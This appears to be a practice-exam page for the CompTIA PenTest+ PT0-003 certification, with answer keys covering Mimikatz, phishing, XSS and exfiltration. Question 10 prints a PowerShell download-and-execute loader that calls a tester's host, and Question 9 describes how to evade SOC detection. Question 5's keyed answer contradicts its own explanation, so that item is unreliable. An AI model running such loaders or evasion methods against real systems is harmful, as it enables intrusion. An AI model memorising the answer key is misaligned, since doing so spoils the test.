Topic · 44 of 148 questions freeAttacks and Exploits
Question 1Choose 1
During an internal penetration test, a tester compromises a Windows OS-based endpoint
and bypasses the defensive mechanisms. The tester also discovers that the endpoint is
part of an Active Directory (AD) local domain.
The tester’s main goal is to leverage credentials to authenticate into other systems within
the Active Directory environment.
Which of the following steps should the tester take to complete the goal?
Correct answer:
A. Use Mimikatz to collect information about the accounts and try to authenticate in other
systems
Explanation:
The tester has compromised a Windows endpoint in an Active Directory domain and wants to leverage credentials to authenticate into other systems. Mimikatz can extract plaintext passwords, NTLM hashes, and Kerberos tickets from LSASS memory. These credentials can then be used for pass-the-hash, pass-the-ticket, or simply logging in with recovered plaintext passwords to move laterally to other domain-joined systems. This directly achieves the goal.
Why other options are incorrect
B. Hashcat to crack local user password – Cracking a local user password does not help authenticate to other domain systems. Domain authentication requires domain credentials, not local account credentials.
C. Evil-WinRM – A tool for remote management using WinRM. It requires valid credentials first. The tester needs to obtain credentials before using Evil-WinRM.
D. Metasploit payload creation – Uploading payloads to other systems is lateral movement, but the tester first needs valid credentials or an exploit. The question specifies "leverage credentials" — Mimikatz extracts them first.
References
CompTIA PenTest+ PT0-003– Domain 3.4 (Lateral Movement): "Use Mimikatz to extract credentials for lateral movement."
During an assessment of a company, a penetration tester sends the following email to the company’s Chief
Financial Officer (CFO):
Dear CFO,
As we talked about during a recent meeting, please open the following attachment that contains the invoice
for an existing vendor. If you do not pay this now, we will suspend the licenses for your billing system in
three days.
GoPay CMS Systems Services
Which of the following techniques is this attack an example of?
Correct answer:
A. Whaling
Explanation:
The email targets the Chief Financial Officer (CFO), a high-profile executive, with a fraudulent invoice and threat of license suspension. This is a highly targeted attack against a senior executive, which fits the definition of whaling—a subtype of spear phishing aimed at "whales" (C-suite or high-value individuals).
✔️ Correct Option:
A. Whaling – Whaling specifically targets senior executives like CFOs, CEOs, or presidents. The email addresses the CFO directly, references a "recent meeting" (social engineering to build trust), and uses urgency. The mention of billing system licenses adds business context, making it tailored for an executive rather than a general employee.
❌ Incorrect options:
B. Phishing – Phishing is broad, untargeted, and sent to many recipients. This email is personalized to the CFO with specific business details. Phishing lacks the executive-level targeting seen here.
C. Spear phishing – While this is technically a form of spear phishing, whaling is the more precise answer because the target is a C-level executive. CompTIA distinguishes whaling as a separate category when the target is a "whale."
D. Vishing – Vishing uses voice calls or voicemail, not email. This attack is delivered via written email, so vishing does not apply.
🔧 Reference:
→ CompTIA PenTest+ PT0-002 Cert Guide – Confirms whaling as a distinct social engineering category alongside spear phishing and phishing
Question 3Choose 1
A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?
Correct answer:
A. Kiosk escape
Explanation
The scenario describes a classic kiosk escape attack. Let's break down the key elements:
Environment:
A SCADA workstation that is running a single application. This is a common security measure to lock down the interface and prevent users from accessing the underlying operating system, effectively turning the workstation into a "kiosk."
Attack Vector:
The tester finds a way within the application itself to open a terminal window (command prompt, shell, etc.).
Result:
The tester gains access to the underlying OS.
This entire process—bypassing the restricted "kiosk" mode to gain unauthorized access to the host system—is the definition of a kiosk escape attack. The vulnerability is often found in the application's features (e.g., a help menu that allows launching a browser, which can then be used to access the local file system) or misconfigurations in the kiosk lockdown software.
Why the Other Options Are Incorrect B. Arbitrary code execution:
This is a broader term for a vulnerability that allows an attacker to run any code of their choice. While a successful kiosk escape involves executing code (e.g., cmd.exe), the specific goal and context of breaking out of a single-application environment make "kiosk escape" the more precise answer. Arbitrary code execution is the mechanism, but kiosk escape is the attack type.
C. Process hollowing:
This is a specific malware technique where a legitimate process is created in a suspended state, its memory is "hollowed out" and replaced with malicious code, and then it is resumed. This is a method for evading detection, not for breaking out of a kiosk mode.
D. Library injection:
This is another technique where code is injected into a running process by forcing it to load a malicious dynamic-link library (DLL). Like process hollowing, it is a code execution technique but not descriptive of the overall goal of escaping a restricted application environment.
Reference
Kiosk escape is a well-known attack vector in penetration testing, especially in operational technology (OT) environments like SCADA systems where workstations are often locked down. The PenTest+ exam objectives (Domain 3.3: Given a scenario, perform post-exploitation techniques) include understanding attacks against constrained environments, which this scenario perfectly exemplifies.
Question 4Choose 1
During a security audit, a penetration tester wants to exploit a vulnerability in a common network protocol.
The protocol allows encrypted communications to be intercepted and manipulated. Which of the following
vulnerabilities should the tester exploit?
Correct answer:
C. CVE-202X-YYYY: OpenSSL DROWN Attack
Explanation:
This question tests knowledge of network protocol vulnerabilities that specifically target encrypted communications. The key condition is that the vulnerability must allow encrypted traffic to be intercepted and manipulated. Only one option directly targets the SSL/TLS encryption protocol stack and enables an attacker to decrypt and manipulate encrypted sessions through a cryptographic weakness.
✅ Option C — CVE-202X-YYYY: OpenSSL DROWN Attack (Correct)
DROWN (Decrypting RSA with Obsolete and Weakened eNcryption) exploits SSLv2 weaknesses in OpenSSL to decrypt and manipulate encrypted TLS communications. An attacker intercepts TLS sessions and uses the vulnerable SSLv2 support to perform cryptographic attacks, breaking encryption on modern connections. This directly satisfies the requirement of intercepting and manipulating encrypted communications over a common network protocol.
❌ Option A — CVE-202W-ZZZZ: Cisco ASA IKEv2/IPSec Fragmentation Vulnerability
This vulnerability exploits fragmentation handling weaknesses in Cisco ASA's IPSec implementation. While it targets a network security appliance, its primary impact is denial-of-service or device instability through malformed packets — not the interception or active manipulation of encrypted communication sessions between endpoints.
❌ Option B — CVE-202Y-XXXX: Wireshark SSL/TLS Decryption Vulnerability
Wireshark is a packet capture and analysis tool — not a network communication protocol. A vulnerability in Wireshark would affect the analysis software itself, not the underlying SSL/TLS protocol stack. It does not represent a protocol-level weakness that enables active interception or manipulation of live encrypted communications.
❌ Option D — CVE-202Z-WWWW: Microsoft SMBv1 EternalBlue Exploit
EternalBlue exploits a buffer overflow in Microsoft's SMBv1 protocol to achieve remote code execution on Windows systems. While it targets a common network protocol, SMBv1 communications are not encrypted — its primary impact is unauthorized code execution and lateral movement, not interception or manipulation of encrypted traffic.
🔧 Reference:
→ CompTIA PenTest+ (PT0-003) Exam Objectives — Domain 3: Attacks & Exploits
Explicitly covers network protocol vulnerabilities, cryptographic attack techniques, and exploitation of weaknesses in encrypted communication protocols as testable competencies under the attacks and exploits domain.
Question 5Choose 1
A penetration tester is preparing a password-spraying attack against a known list of users
for the company "example". The tester is using the following list of commands:
Which of the following is the correct order for the list of the commands?
Correct answer:
A. 3, 4, 1, 2, 5
Explanation:
Password spraying is a targeted brute-force attack where a few commonly used passwords are tested against a large number of usernames to avoid account lockouts. To execute this successfully using the tools provided, a specific logical workflow must be followed: Define Variables → Gather Data → Refine List → Prepare Plan → Execute.
Step 3 (Variables): First, the tester must define the environment variables (users, allwords, pass, etc.). Without these paths being set in the shell, subsequent commands referring to $pass or $plan would fail.
Step 5 (CeWL): The tester uses CeWL (Custom Word List Generator) to spider the target website (www.example.com). This gathers keywords unique to the company's culture, products, or industry to create a raw wordlist (sailwords).
Step 1 (pw-inspector):The raw wordlist from CeWL is piped through pw-inspector. This refines the list by applying specific criteria (like a minimum length of 8 characters and containing a symbol) to ensure the words match the target's password policy.
Step 4 (Spray365 Generate): With a refined password list and a user list, the tester uses Spray365 to generate an execution plan. This step maps which passwords will be tried against which users and sets the timing to avoid detection.
Step 2 (Spray365 Spray): Finally, the tester executes the "spray" command using the previously generated execution plan to begin the actual authentication attempts against the target domain.
Incorrect Options Analysis
Options B, C, and D: These are incorrect because they violate the functional dependencies of the tools. For example, you cannot "generate" a plan (Step 4) or "spray" (Step 2) until you have gathered and inspected the wordlist (Steps 5 and 1). Similarly, defining variables (Step 3) must happen before those variables are called in other commands.
Which of the following OT protocols sends information in cleartext?
Correct answer:
C. Modbus
Explanation
Many legacy OT protocols were designed for reliability and simplicity within isolated, trusted networks, not for security in a modern interconnected environment. As a result, they often lack basic security features like encryption.
Modbus is one of the oldest and most widely deployed OT protocols. The standard versions of Modbus (Modbus RTU and Modbus TCP) do not have any built-in encryption or authentication mechanisms. All data, including commands and sensor readings, is transmitted in cleartext. This makes it highly vulnerable to eavesdropping and manipulation on a network.
Why the Other Options Are Incorrect
A. TTEthernet (Time-Triggered Ethernet):
This is a protocol designed for highly deterministic, real-time systems (like avionics). While its specific payloads might not always be encrypted, the protocol itself operates on a principle of scheduled time slots for traffic, which provides a form of security through deterministic control. It is not typically cited as a common cleartext protocol like Modbus.
B. DNP3 (Distributed Network Protocol):
While traditional DNP3 also operated in cleartext, it has a secure version, DNP3 Secure, defined in the IEEE 1815-2012 standard, which provides authentication and integrity. The question is likely focusing on the most classic example of a cleartext protocol, which is Modbus.
D. PROFINET:
This is an industrial Ethernet standard. While its standard communication is real-time and unencrypted, it's important to note that PROFINET is often mentioned alongside Modbus as an unsecured protocol. However, Modbus is the quintessential example used in security discussions due to its extreme simplicity and widespread use. Between Modbus and PROFINET, Modbus is the more universally recognized correct answer for this specific question about cleartext transmission. PROFINET has more modern, secure profiles, whereas base Modbus has none.
Reference
The lack of security in Modbus is a well-documented critical issue in OT security. Guides like the NIST Guide to Industrial Control Systems (ICS) Security (SP 800-82) explicitly highlight Modbus as an example of a protocol that lacks confidentiality, integrity, and authentication services, making it a primary target for attackers.
Question 7Choose 1
Which of the following is a term used to describe a situation in which a penetration tester bypasses physical access controls and gains access to a facility by entering at the same time as an employee?
Correct answer:
C. Tailgating
Explanation
This scenario describes a classic physical security breach known as tailgating (sometimes called "piggybacking").
Tailgating occurs when an unauthorized person follows an authorized person into a secured area without the authorized person's explicit consent or knowledge. The tester simply walks in behind the employee as the door is closing, exploiting the natural courtesy of people to hold the door or the employee's lack of awareness.
This is a common test to see if employees are properly trained to challenge strangers or if access control systems (like mantraps) are effective at preventing this exact scenario.
Why the Other Options Are Incorrect
A. Badge cloning:
This involves surreptitiously copying the data from an employee's RFID or magnetic stripe access badge to create a duplicate. This is a technical attack on the credential itself, not the social/opportunistic act of following someone through a door.
B. Shoulder surfing:
This is the act of looking over someone's shoulder to observe sensitive information, such as passwords, PINs, or data on their screen. It is an information-gathering technique, not a method for gaining physical entry.
D. Site survey:
This is a legitimate and passive reconnaissance activity where a tester observes a facility from a distance to gather information about entry points, security patrols, cameras, etc. It is the planning phase that might precede a tailgating attempt, but it is not the act of gaining entry itself.
Reference
Tailgating is a standard technique covered in the physical security assessment domain of penetration testing frameworks. It is a direct test of both technological controls (e.g., whether a door closes quickly enough) and human security awareness. This falls under the PenTest+ objective domain related to physical security attacks.
Question 8Choose 1
During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?
Correct answer:
C. XSS
Explanation
The question describes the exact mechanism and outcome of a Cross-Site Scripting (XSS) attack.
The Vulnerability:
An input field that does not properly sanitize or validate user input.
The Attack:
The tester injects malicious JavaScript code into the input field.
The Result:
The injected JavaScript is stored by the web application and then executed in the browsers of subsequent users who visit the page. The appearance of a prompt (a text box) is a direct result of the injected JavaScript code (e.g., using the prompt() function) running in the victim's browser.
This is a textbook example of a Stored/Persistent XSS attack, where the malicious script is permanently stored on the target server (e.g., in a database) and delivered to every user who views the compromised page.
Why the Other Options Are Incorrect
A. SQL injection (SQLi):
This attack involves injecting malicious SQL commands into an input field to interact with the application's database. The result would be unauthorized data access, modification, or deletion—not the execution of JavaScript in a user's browser.
B. SSRF (Server-Side Request Forgery):
This attack tricks the server into making unauthorized requests to internal or external resources. It targets the server's network access, not the user's browser. The outcome would be the server fetching data, not a prompt appearing in the browser.
D. Server-side template injection (SSTI):
This vulnerability occurs when user input is embedded into a server-side template (like Jinja2 or Twig) in an unsafe way, allowing the attacker to execute code on the server itself. The result would be server compromise, not client-side script execution causing a browser prompt.
Reference
XSS is a fundamental web application vulnerability listed in the OWASP Top 10 (A03:2021-Injection). The scenario described is the core definition of Stored XSS, which is a key topic within the PenTest+ exam objectives for application security testing (Domain 3.2: Given a scenario, analyze vulnerabilities). The key differentiator is the injection and execution of client-side JavaScript.
Question 9Choose 1
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
Correct answer:
D. Apply AES-256 to the data and send over a tunnel to TCP port 443.
Explanation
The correct answer is D because it best combines encryption and the use of a common, encrypted protocol port to blend in with normal network traffic, which is the key to avoiding detection by a Security Operations Center (SOC).
Let's break down why this is the most appropriate:
Apply AES-256 to the data:
This provides strong encryption. Even if the SOC's monitoring tools detect the data transfer, the content will be unreadable. This prevents data loss prevention (DLP) systems from triggering alerts based on sensitive content.
Send over a tunnel to TCP port 443:
Port 443 is the standard port for HTTPS traffic. In almost any corporate environment, a massive amount of encrypted web traffic flows over this port continuously. Tunneling exfiltrated data inside what appears to be normal HTTPS traffic makes it extremely difficult for the SOC to distinguish the malicious exfiltration from legitimate user activity. This technique is known as "traffic mimicking" or "protocol impersonation."
Reference to Exam Objective:
This falls under the "Attacks and Exploits" domain, specifically data exfiltration techniques, and the "Planning and Scoping" domain regarding operating within the rules of engagement (in this case, only moving data to authorized attacking hosts). A penetration tester must understand how to exfiltrate data stealthily without triggering security controls.
Analysis of Incorrect Options
A. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
Why it's incorrect:
UTF-8 is a character encoding standard, not an encryption method. It does not hide the data's content. Port 25 is used for SMTP (email). While some email traffic is normal, a large, sustained data transfer over SMTP from a workstation to an external IP would be highly anomalous and likely trigger alerts. It is not a common path for general web traffic.
B. Apply Base64 to the data and send over a tunnel to TCP port 80.
Why it's incorrect:
Base64 is an encoding method, not encryption. Its purpose is to represent binary data as text, not to secure it. DLP systems and skilled analysts can easily decode Base64 to inspect the original data. While port 80 (HTTP) is very common, the lack of encryption means the content of the communication is visible and can be flagged.
C. Apply 3DES to the data and send over a tunnel UDP port 53.
Why it's incorrect:
While 3DES provides encryption (though it is considered legacy and weak), the choice of port is problematic. Port 53 is primarily used for DNS (Domain Name System) traffic. DNS exfiltration is a known technique, but it is often monitored for abuse because it is unusual to see large amounts of data or sustained connections over DNS. A SOC that is even moderately mature will have alerts for anomalous DNS traffic, making this riskier than using port 443.
In summary, Option D is superior because it uses strong encryption (AES-256) to hide the data's content and routes it through the most common and expected encrypted channel (TCP/443, HTTPS), giving it the best chance of evading detection by the SOC.
Question 10Choose 1
Given the following script:$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") {echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1 ') | powershell -noprofile -}Which of the following is the penetration tester most likely trying to do?
Correct answer:
C. Conditionally stage and execute a remote script.
Explanation
The correct answer is C because the script's logic explicitly checks a condition and, if met, downloads and executes code from a remote server.
Let's break down the script step-by-step:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1]
This line gets the current Windows user's identity in the format DOMAIN\Username or COMPUTERNAME\Username.
The .split("\") method splits this string into an array using the backslash as a delimiter.
The [1] index selects the second element of the array (array indices start at 0), which is the username.
If ($1 -eq "administrator")
This is the conditional part. The script checks if the current username is exactly "administrator".
If the condition is true (the user is "administrator"), the code inside the braces {} runs.
(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') uses the .NET WebClient class to download the contents of a PowerShell script from a remote server controlled by the penetration tester.
IEX(...) is the Invoke-Expression cmdlet. It takes the downloaded script content and executes it directly in memory.
The echo ... | powershell -noprofile - is a common technique to pipe the command into a new PowerShell process. The -noprofile switch ensures no user profile scripts run, which could interfere.
In summary, the script's purpose is clear: Check if the current user is "administrator," and if so, download and execute a remote PowerShell script from http://10.10.11.12:8080/ul/windows.ps1.
Reference to Exam Objective:
This falls under the "Attacks and Exploits" domain, specifically scripting, code execution, and post-exploitation techniques like downloading and executing payloads.
Analysis of Incorrect Options
A. Change the system's wallpaper based on the current user's preferences.
Why it's incorrect:
The script contains no commands related to modifying the desktop, user interface, or wallpaper. Its core function is downloading and executing remote code.
B. Capture the administrator's password and transmit it to a remote server.
Why it's incorrect:
While the remote script (windows.ps1) could potentially contain code to do this, the question asks what the given script is trying to do. The given script itself does not contain any password harvesting logic (like using Mimikatz). Its sole purpose is conditional execution of a remote script. The actual malicious activity is defined within the remote script, which is not visible here.
D. Log the internet browsing history for a systems administrator.
Why it's incorrect:
Similar to option B, the given script does not contain any commands to interact with browser history files or logging mechanisms. It is a loader script designed to fetch and run a second-stage payload.
Practice Like It's Exam Day
Get exam-ready with a timed PT0 003 CompTIA PenTest+ mock exam designed to match the official exam's question format, question count, and time limit.
Subtopics: Persistence mechanisms, Lateral movement,
Credential harvesting, Privilege escalation,
Pivoting and tunneling, Data exfiltration,
Covering tracks, Cleanup procedures,
Command and control (C2), Session hijacking,
Attack path documentation, Post-exploitation analysis
Master Penetration Testing with PenTest+ PT0-003
CompTIA PenTest+ PT0-003 certification validates your hands-on penetration testing and vulnerability assessment skills. Our realistic practice tests prepare you for the latest exam version, helping you develop the offensive security mindset needed for todays cybersecurity challenges.
Exam Code: PT0-003
Exam Name: CompTIA Pentest+ Exam
Certification Name: Pentest+
Certification Provider: CompTIA
Exam Questions: 85
Type of Questions: MCQs and performance-based
Exam Time: 165 minutes
Passing Score: 700
What Does the PT0-003 Exam Cover?
PT0-003 exam validates hands-on skills and knowledge in key areas such as:
Planning and Scoping — Defining test boundaries, compliance considerations, and client communication
Information Gathering and Vulnerability Scanning — Reconnaissance techniques, vulnerability identification, and analysis
Attacks and Exploits — Performing exploits against various platforms, evasion techniques, and post-exploitation activities
Reporting and Communication — Writing clear reports, recommending remediation, and presenting findings to stakeholders
Tools and Code Analysis — Using tools for scripting, automation, and analyzing scripts and code for vulnerabilities
Penetration testers seeking formal validation
Security consultants expanding service offerings
Red team members demonstrating skills
Ethical hackers pursuing career advancement
Cybersecurity analysts transitioning to offensive roles
Recommended Experience:
3-4 years of hands-on security experience
Network+ and Security+ knowledge (recommended)
Familiarity with scripting (Python, Bash, PowerShell)
These practice questions were the missing piece in my study plan!
As an aspiring penetration tester, I knew the PT0-003 exam would be challenging—but I did not realize how much hands-on, scenario-based thinking it required until I started studying. Textbook knowledge alone was not enough. That is when I discovered these PT0-003 practice questions, and they completely changed my approach. The questions mirrored real-world penetration testing workflows, from reconnaissance and vulnerability scanning to exploitation and reporting. Each scenario forced me to think like an attacker, not just memorize terms.
What stood out most were the detailed explanations, which broke down not only the correct answers but also the reasoning behind common pitfalls. I especially appreciated the focus on tools like Nmap, Metasploit, and Burp Suite, as well as the emphasis on compliance and legal considerations—topics that are critical in real engagements. By the time exam day arrived, I felt prepared to tackle even the most situational questions. This practice test didnt just help me pass—they made me a better pen tester. If you want to truly understand the material, not just scrape by, this is the resource you need.
Jordan L., Cybersecurity Consultant
The updated PenTest+ exam requires hands-on thinking about vulnerability assessment and penetration testing. Preptia.com delivered PT0-003 practice exam that challenged me on attack vectors, tool usage, and reporting. The questions were so accurate that the real exam felt familiar. Passed easily!
Daniel Foster, Cybersecurity Analyst | Chicago, IL
Hands-on penetration testing concepts became clearer through the Preptia.com mock exams for CompTIA PenTest+ (PT0-003). The scenario-based exam questions covered vulnerability assessment and ethical hacking techniques thoroughly.
Arman Qureshi | Saudi Arabia